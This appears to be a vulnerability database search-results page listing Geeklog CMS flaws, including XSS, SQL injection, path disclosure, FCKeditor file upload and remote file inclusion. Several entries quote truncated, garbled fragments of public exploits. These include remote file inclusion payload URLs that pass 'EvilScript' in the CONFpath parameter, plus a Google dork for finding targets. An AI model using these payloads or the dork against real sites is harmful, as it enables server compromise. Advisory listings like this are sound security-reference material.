408 matches found
CVE-2006-3756
Geekklog (Geeklog) is affected by a cross-site scripting (XSS) vulnerability described in CVE-2006-3756 for Geeklog 1.4.0sr4 and earlier, and 1.3.11sr6 and earlier. The issue allows remote attackers to inject arbitrary web script or HTML via unspecified vectors when validating comments in lib-com...
CVE-2006-3756
Cross-site scripting XSS vulnerability in Geeklog 1.4.0sr4 and earlier, and 1.3.11sr6 and earlier, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors when validating comments in 1 lib-comment.php 1.4.0sr4 or 2 comment.php 0.3.11sr6...
CVE-2006-3756: Improper Neutralization of Input During Web Page Generation
Cross-site scripting XSS vulnerability in Geeklog 1.4.0sr4 and earlier, and 1.3.11sr6 and earlier, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors when validating comments in 1 lib-comment.php 1.4.0sr4 or 2 comment.php 0.3.11sr6...
JVN#81108784 Geeklog cross-site scripting vulnerability
Impact An arbitrary script may be executed on the user's web browser. If session information from a cookie is leaked, an attacker could possibly conduct session hijacking. Solution Products Affected Geeklog 1.4.0sr4 and earlier Geeklog 1.3.11sr6 and earlier...
Update Protection against Geeklog Remote Code Execution Vulnerability
Geeklog is a PHP/MySQL based application for managing dynamic web content. Geeklog CMS fails to validate multiple file extensions, potentially allowing a remote attacker to upload malicious script code, which will be executed in the context of the webserver process...
Geeklog FCKeditor < 1.4.0sr4 Arbitrary File Upload
Binary data 3677.prm...
GeekLog 1.4.0sr3 - f(u)ckeditor Remote Code Execution
GeekLog 1.4.0sr3 - fuckeditor Remote Code Execution !/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n";...
GeekLog <= 1.4.0sr3 f(u)ckeditor Remote Code Execution Exploit
Exploit for unknown platform in category web applications ============================================================== GeekLog 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else...
GeekLog <= 1.4.0sr3 f(u)ckeditor Remote Code Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "Geeklog = 1.4.0sr3 'fuckeditor' remote commands execution\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; //works regardless of any php.ini settings, //fckeditor very old 'mcpuk'...
GeekLog <= 1.4.0sr3 (_CONF[path]) Remote File Include Vulnerabilities
No description provided by source. --------------------------------------------------------------------------- GeekLog = 1.4.0 CONFpath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Google d0rk: "powered by geeklog" Discovered By...
Geeklog Multiple Script _CONF[path] Parameter Remote File Inclusion
The version of Geeklog installed on the remote host fails to sanitize input to the 'CONFpath' parameter before using it in several scripts to include PHP code. Provided PHP's 'registerglobals' setting is enabled, an unauthenticated attacker may be able to exploit these flaws to view arbitrary fil...
GeekLog 1.4.0sr3 - _CONF[path] Remote File Inclusion
GeekLog 1.4.0sr3 - CONFpath Remote File Inclusion --------------------------------------------------------------------------- GeekLog www.site.com/path/publichtml/index.php http://www.site.com/path/plugins/links/functions.inc?CONFpath=EvilScript...
FCKeditor on Apache connector.php Crafted File Extension Arbitrary File Upload
The version of Geeklog installed on the remote host includes an older version of FCKeditor that is enabled by default and allows an unauthenticated attacker to upload arbitrary files containing, say, PHP code, and then to execute them subject to the privileges of the web server user id...
GeekLog <= 1.4.0sr3 (_CONF[path]) Remote File Include Vulnerabilities
Exploit for unknown platform in category web applications ===================================================================== GeekLog www.site.com/path/publichtml/index.php http://www.site.com/path/plugins/links/functions.inc?CONFpath=EvilScript...
GeekLog 1.4.0sr3 - '_CONF[path]' Remote File Inclusion
--------------------------------------------------------------------------- GeekLog www.site.com/path/publichtml/index.php http://www.site.com/path/plugins/links/functions.inc?CONFpath=EvilScript http://www.site.com/path/plugins/polls/functions.inc?CONFpath=EvilScript...
GeekLog 1.4.0sr3 - 'f(u)ckeditor' Remote Code Execution
!/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return $exa."\r\n".$result; $proxyregex =...
Sql injection
SQL injection vulnerability in admin/auth.inc.php in Geeklog 1.4.0sr2 and earlier allows remote attackers to execute arbitrary SQL commands and bypass authentication via the loginname parameter...
CVE-2006-2701
SQL injection vulnerability in Geeklog 1.4.0sr2 and earlier allows remote attackers to execute arbitrary SQL commands via unknown vectors related to story submission...
Path traversal
Geeklog 1.4.0sr2 and earlier allows remote attackers to obtain the full installation path via a direct request and possibly invalid arguments to 1 layout/professional/functions.php or 2 getimage.php...